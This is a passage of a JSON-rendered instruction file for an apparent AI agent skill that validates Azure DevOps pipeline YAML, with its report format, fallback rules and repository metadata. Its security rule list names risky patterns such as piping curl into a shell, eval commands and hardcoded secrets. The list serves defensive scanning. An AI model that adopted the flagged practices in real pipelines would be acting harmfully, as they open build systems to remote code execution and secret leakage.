(missing/ambiguous file or bad args)","type":"text"}]}]}]},{"type":"ordered_list","attrs":{"order":4,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Return findings in the report format below.","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Expected Report Format (Severity Buckets)","type":"text"}]},{"type":"paragraph","content":[{"text":"Always return results in this structure:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"text"},"content":[{"text":"Validation Report: \u003cpath>\n\nSummary:\n- Blocking: \u003ccount> # Syntax errors + Security critical/high\n- Warning: \u003ccount> # Security medium/low + best-practice warnings\n- Info: \u003ccount> # Suggestions\n- Skipped: \u003ccount> # Explicitly name skipped checks\n\nFindings:\n- [Blocking][syntax][\u003crule-id>] line \u003cn> - \u003cmessage>\n- [Blocking][security-high][\u003crule-id>] line \u003cn> - \u003cmessage>\n- [Warning][security-medium][\u003crule-id>] line \u003cn> - \u003cmessage>\n- [Warning][best-practice][\u003crule-id>] line \u003cn> - \u003cmessage>\n- [Info][best-practice][\u003crule-id>] line \u003cn> - \u003cmessage>\n\nRemediation:\n- \u003cshort, concrete fix per finding>\n\nExecution Notes:\n- Commands run: \u003cexact commands>\n- Environment/fallback notes: \u003ctool missing, skipped checks, offline constraints>","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Escalation Policy (Docs Only When Needed)","type":"text"}]},{"type":"paragraph","content":[{"text":"Run local checks first. Escalate only when at least one condition is true:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Local finding depends on current upstream behavior (task versions, deprecations, new inputs).","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"User asks for \"latest/current/recent\" Azure Pipelines task or schema details.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Local scripts cannot determine validity for a specific task/resource syntax.","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Escalation order:","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Context7 docs tooling first.","type":"text"}]}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"text"},"content":[{"text":"mcp__context7__resolve-library-id(...)\nmcp__context7__query-docs(...)","type":"text"}]},{"type":"ordered_list","attrs":{"order":2,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Official docs second (","type":"text"},{"text":"learn.microsoft.com","type":"text","marks":[{"type":"code_inline"}]},{"text":" / Microsoft Azure DevOps docs).","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"General web search only if the first two are insufficient.","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"When escalating, cite the source URL and state what local check could not answer.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Fallback Behavior","type":"text"}]},{"type":"paragraph","content":[{"text":"Use this matrix when tools are unavailable:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Condition: ","type":"text"},{"text":"yamllint","type":"text","marks":[{"type":"code_inline"}]},{"text":" unavailable.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action: Continue with syntax/best-practice/security checks.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Report note: \"YAML lint skipped because yamllint is unavailable.\"","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Condition: ","type":"text"},{"text":"python3","type":"text","marks":[{"type":"code_inline"}]},{"text":" unavailable or venv/dependency setup fails.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action: Mark scripted validation blocked; perform manual YAML review only if requested.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Report note: \"Local scripted validation blocked by missing Python runtime/dependencies.\"","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Condition: No network while dependencies/docs are needed.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action: Run whatever local checks are still possible; defer doc/version verification.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Report note: \"External verification deferred due offline environment.\"","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Condition: Multiple auto-detected pipeline files.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action: Do not pick arbitrarily; require explicit target file path.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Report note: \"Validation paused until a single target file is specified.\"","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Rule Buckets (What the Scripts Check)","type":"text"}]},{"type":"paragraph","content":[{"text":"Syntax examples:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"yaml-syntax","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"yaml-invalid-root","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"invalid-hierarchy","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"task-invalid-format","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"pool-invalid","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"deployment-missing-strategy","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"paragraph","content":[{"text":"Best-practice examples:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"missing-displayname","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"task-version-zero","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"task-missing-version","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"pool-latest-image","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"missing-cache","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"missing-deployment-condition","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"paragraph","content":[{"text":"Security examples:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"hardcoded-password","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"hardcoded-secret","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"curl-pipe-shell","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"eval-command","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"insecure-ssl","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"container-latest-tag","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"variable-not-secret","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"paragraph","content":[{"text":"Use script output rule IDs directly in the report.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"References and Examples","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Syntax reference: ","type":"text"},{"text":"docs/azure-pipelines-reference.md","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Example pipelines: ","type":"text"},{"text":"examples/","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"paragraph","content":[{"text":"Quick local test:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"bash \"$SKILL_DIR/scripts/validate_azure_pipelines.sh\" \"$SKILL_DIR/examples/basic-pipeline.yml\"","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Done Criteria","type":"text"}]},{"type":"paragraph","content":[{"text":"This skill execution is done when all conditions are true:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Trigger match is explicit and plain-language examples are provided near the top.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Validation command(s) were run with unambiguous paths.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Report uses severity buckets (","type":"text"},{"text":"Blocking","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"Warning","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"Info","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"Skipped","type":"text","marks":[{"type":"code_inline"}]},{"text":").","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Fallback behavior is explicitly reported for unavailable tools/environment constraints.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"External docs were consulted only when local checks were insufficient.","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}}]},"metadata":{"date":"2026-06-05","name":"azure-pipelines-validator","author":"@skillopedia","source":{"stars":224,"repo_name":"cc-devops-skills","origin_url":"https://github.com/akin-ozer/cc-devops-skills/blob/HEAD/devops-skills-plugin/skills/azure-pipelines-validator/SKILL.md","repo_owner":"akin-ozer","body_sha256":"891b44c4a454ea5817f7235913d51d694961a3cf0805d56a1ca14d1ea1f68879","cluster_key":"c798c8b2abc2b6a059513fe0509e3cdc5a3dc2b61137ce8507d3ea41f0be02de","clean_bundle":{"format":"clean-skill-bundle-v1","source":"akin-ozer/cc-devops-skills/devops-skills-plugin/skills/azure-pipelines-validator/SKILL.md","attachments":[{"id":"7751e563-9f06-5599-bace-6999443b4825","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/7751e563-9f06-5599-bace-6999443b4825/attachment","path":".gitignore","size":11,"sha256":"608d19bf1a4b580d2fb025dfe2592b8e4852d94e3e3b4e77d2e611e70ba536a4","contentType":"text/plain; charset=utf-8"},{"id":"5b2d8870-58af-550d-a22d-854b6095eacd","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/5b2d8870-58af-550d-a22d-854b6095eacd/attachment","path":"assets/.yamllint","size":1864,"sha256":"49c1e4287fec2e5f40b9064297ad984ef8c3374faff79e0bef6ceb1ab516aefd","contentType":"text/plain; charset=utf-8"},{"id":"ea0f10c8-0bbc-56ba-80d0-3e42abae6001","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/ea0f10c8-0bbc-56ba-80d0-3e42abae6001/attachment.md","path":"docs/azure-pipelines-reference.md","size":7758,"sha256":"90fc468109c42cf22b6c66e7a5af409b1f46a473d092f2ab479865e6439b9684","contentType":"text/markdown; charset=utf-8"},{"id":"67d11095-37cd-5ce4-b96f-2448466fc067","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/67d11095-37cd-5ce4-b96f-2448466fc067/attachment.yml","path":"examples/basic-pipeline.yml","size":2590,"sha256":"f60fa3b99afc7ca8a1091bf7646455d4da975317798c62162a1f16000ea3ae39","contentType":"application/yaml; charset=utf-8"},{"id":"ee4f0a95-19cd-59bf-a59b-85c1d06eb1d8","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/ee4f0a95-19cd-59bf-a59b-85c1d06eb1d8/attachment.yml","path":"examples/deployment-pipeline.yml","size":3613,"sha256":"ecc2200d36200c8d06d8e020818ff1d40d792b19e4b90b18d6b770ef0e2aec31","contentType":"application/yaml; charset=utf-8"},{"id":"bc3d2081-c8ce-5819-b02e-37d38856582f","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/bc3d2081-c8ce-5819-b02e-37d38856582f/attachment.yml","path":"examples/docker-build.yml","size":1652,"sha256":"2c956fb3452377696dde4b53d4c241ac3f6822ca5068334c997d1a3f25e25e89","contentType":"application/yaml; charset=utf-8"},{"id":"cd2d9a4a-7d81-55db-ac4e-22612e6a7306","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/cd2d9a4a-7d81-55db-ac4e-22612e6a7306/attachment.yml","path":"examples/multi-platform.yml","size":1439,"sha256":"834b417109618b5445b669bf47e07ee658c1ed8bdf9fedccca3010209c0489d3","contentType":"application/yaml; charset=utf-8"},{"id":"bb321ee6-5945-5edf-9e79-2288dcd15202","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/bb321ee6-5945-5edf-9e79-2288dcd15202/attachment.yml","path":"examples/regression-conditional-danger.yml","size":187,"sha256":"d5d368c368561de074f41a6a7e98205215cdfe8eca953985d3b2640f8d1013aa","contentType":"application/yaml; charset=utf-8"},{"id":"41016cd1-0353-5637-a4ad-1b8abe64f60c","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/41016cd1-0353-5637-a4ad-1b8abe64f60c/attachment.yml","path":"examples/regression-runonce-on-failure.yml","size":308,"sha256":"81efea8bd7d2a38ad92e25c700e153618a979fd512da0d0ea86f22db5423e9bc","contentType":"application/yaml; charset=utf-8"},{"id":"a5f2e5ce-40aa-5176-ae70-c6fce799034b","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/a5f2e5ce-40aa-5176-ae70-c6fce799034b/attachment.yml","path":"examples/template-conditional-stages.yml","size":529,"sha256":"fe3ec8e7a608a8773e6f5682d6937a27fcf134917d24e788470faa19d8f62c4e","contentType":"application/yaml; charset=utf-8"},{"id":"63b25957-3965-5509-bec7-ac094a5e1d6d","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/63b25957-3965-5509-bec7-ac094a5e1d6d/attachment.yml","path":"examples/template-conditional-steps.yml","size":587,"sha256":"5c2028e8c54ad70752984f98f0e8c5538efc9b943e4cb0299ebc37a2e43bbeef","contentType":"application/yaml; charset=utf-8"},{"id":"c2681f22-d7ec-51f1-b2ab-26352f932d1b","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/c2681f22-d7ec-51f1-b2ab-26352f932d1b/attachment.yml","path":"examples/template-example.yml","size":1287,"sha256":"93b9f441b06bc22b91fa193662513d821689e59c943d8f73a57591ca9a955219","contentType":"application/yaml; charset=utf-8"},{"id":"a07ea6ee-a99d-53be-9a14-3731b9fe605d","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/a07ea6ee-a99d-53be-9a14-3731b9fe605d/attachment.yml","path":"examples/test-with-issues.yml","size":690,"sha256":"f09b35eb5984f354547f541ada0eebf0ea2c3e781ed250434efa5862f815f286","contentType":"application/yaml; charset=utf-8"},{"id":"2c5d4dd0-c488-5cb3-a5a5-110016b4c34c","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/2c5d4dd0-c488-5cb3-a5a5-110016b4c34c/attachment.py","path":"scripts/check_best_practices.py","size":20565,"sha256":"298c4ab88da863436054d7e602118c7b5703d6d12810ab589a150af4665e3be2","contentType":"text/x-python; charset=utf-8"},{"id":"3535ea25-a103-52c1-a2db-316d24e0237c","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/3535ea25-a103-52c1-a2db-316d24e0237c/attachment.py","path":"scripts/check_security.py","size":22957,"sha256":"ea0e68b490c9507edf3a0abbfa2a25c3e412a808153de7694b35c155af6c4430","contentType":"text/x-python; charset=utf-8"},{"id":"d97eb38a-99b0-5ad0-9bc0-f85ce0486288","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/d97eb38a-99b0-5ad0-9bc0-f85ce0486288/attachment.sh","path":"scripts/python_wrapper.sh","size":2645,"sha256":"8c997fb1e2470a45e659977948f4267bc471ebd8a2043eed6a48f3473c65caa0","contentType":"application/x-sh; charset=utf-8"},{"id":"72b67508-c2f2-59ca-8ce2-24eb2dba3763","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/72b67508-c2f2-59ca-8ce2-24eb2dba3763/attachment.py","path":"scripts/step_walker.py","size":5445,"sha256":"924e30067d78ae30c1874542fd06b449759ba79f474f357a74525aa497bee87f","contentType":"text/x-python; charset=utf-8"},{"id":"eedf3155-3b91-5132-9faf-60eb9304561f","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/eedf3155-3b91-5132-9faf-60eb9304561f/attachment.py","path":"scripts/test_regressions.py","size":4278,"sha256":"f44674f5d844589de11674ec96324bd833c276a02115e6466c2829a33421d60c","contentType":"text/x-python; charset=utf-8"},{"id":"9dc17cc9-b78c-5610-837c-4cb954b499ee","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/9dc17cc9-b78c-5610-837c-4cb954b499ee/attachment.sh","path":"scripts/validate_azure_pipelines.sh","size":10820,"sha256":"b1bef9e7e8f659d4e960a8af9e09d9867904606f604504f77c72db544f58404e","contentType":"application/x-sh; charset=utf-8"},{"id":"c9dd8807-b09e-5a5a-8efd-154bb938f4dd","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/c9dd8807-b09e-5a5a-8efd-154bb938f4dd/attachment.py","path":"scripts/validate_syntax.py","size":25311,"sha256":"195074a331b54a7c3f1dfcea48fef90db41c549abbb32f80eea9eb142a5fa534","contentType":"text/x-python; charset=utf-8"},{"id":"e2f98452-b7f0-5f6a-b91a-1f681db198c9","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/e2f98452-b7f0-5f6a-b91a-1f681db198c9/attachment.sh","path":"scripts/yamllint_check.sh","size":1606,"sha256":"78fb2f6d00ae39d76e79d641abfdcc278c276021eead7769119d7597c0acda97","contentType":"application/x-sh; charset=utf-8"}],"bundle_sha256":"8688bb7654f5f7f4a6cb7aea217a94fe51c80b60e698df1a260785a57a2e965c","attachment_count":21,"text_attachments":19,"attachment_storage":"skillopedia-attachments-v1","binary_attachments":2,"excluded_attachments":[]},"cluster_size":1,"skill_md_path":"devops-skills-plugin/skills/azure-pipelines-validator/SKILL.md","import_metadata":{"date":"2026-06-05","author":"@skillopedia","version":"v1","category":"security","category_label":"Security"},"exact_dupes_collapsed_into_this":0},"version":"v1","category":"security","import_tag":"clean-skills-v1","description":"Validate, lint, audit, or review azure-pipelines.yml — syntax, security, best practices."}},"renderedAt":1782987794236}

Azure Pipelines Validator Use this skill to validate Azure DevOps pipeline YAML ( / ) with local scripts first, then escalate to docs only when local output is not enough. Trigger Phrases Use this skill when the user asks things like: - "Validate my ." - "Why is this Azure pipeline YAML failing?" - "Run a security scan on this Azure DevOps pipeline." - "Check this pipeline for best-practice issues." - "Review this pipeline in CI before merge." Do not use this skill for pipeline generation from scratch. Use for that. Deterministic Path Setup (No Ambiguity) Run from any directory using explicit…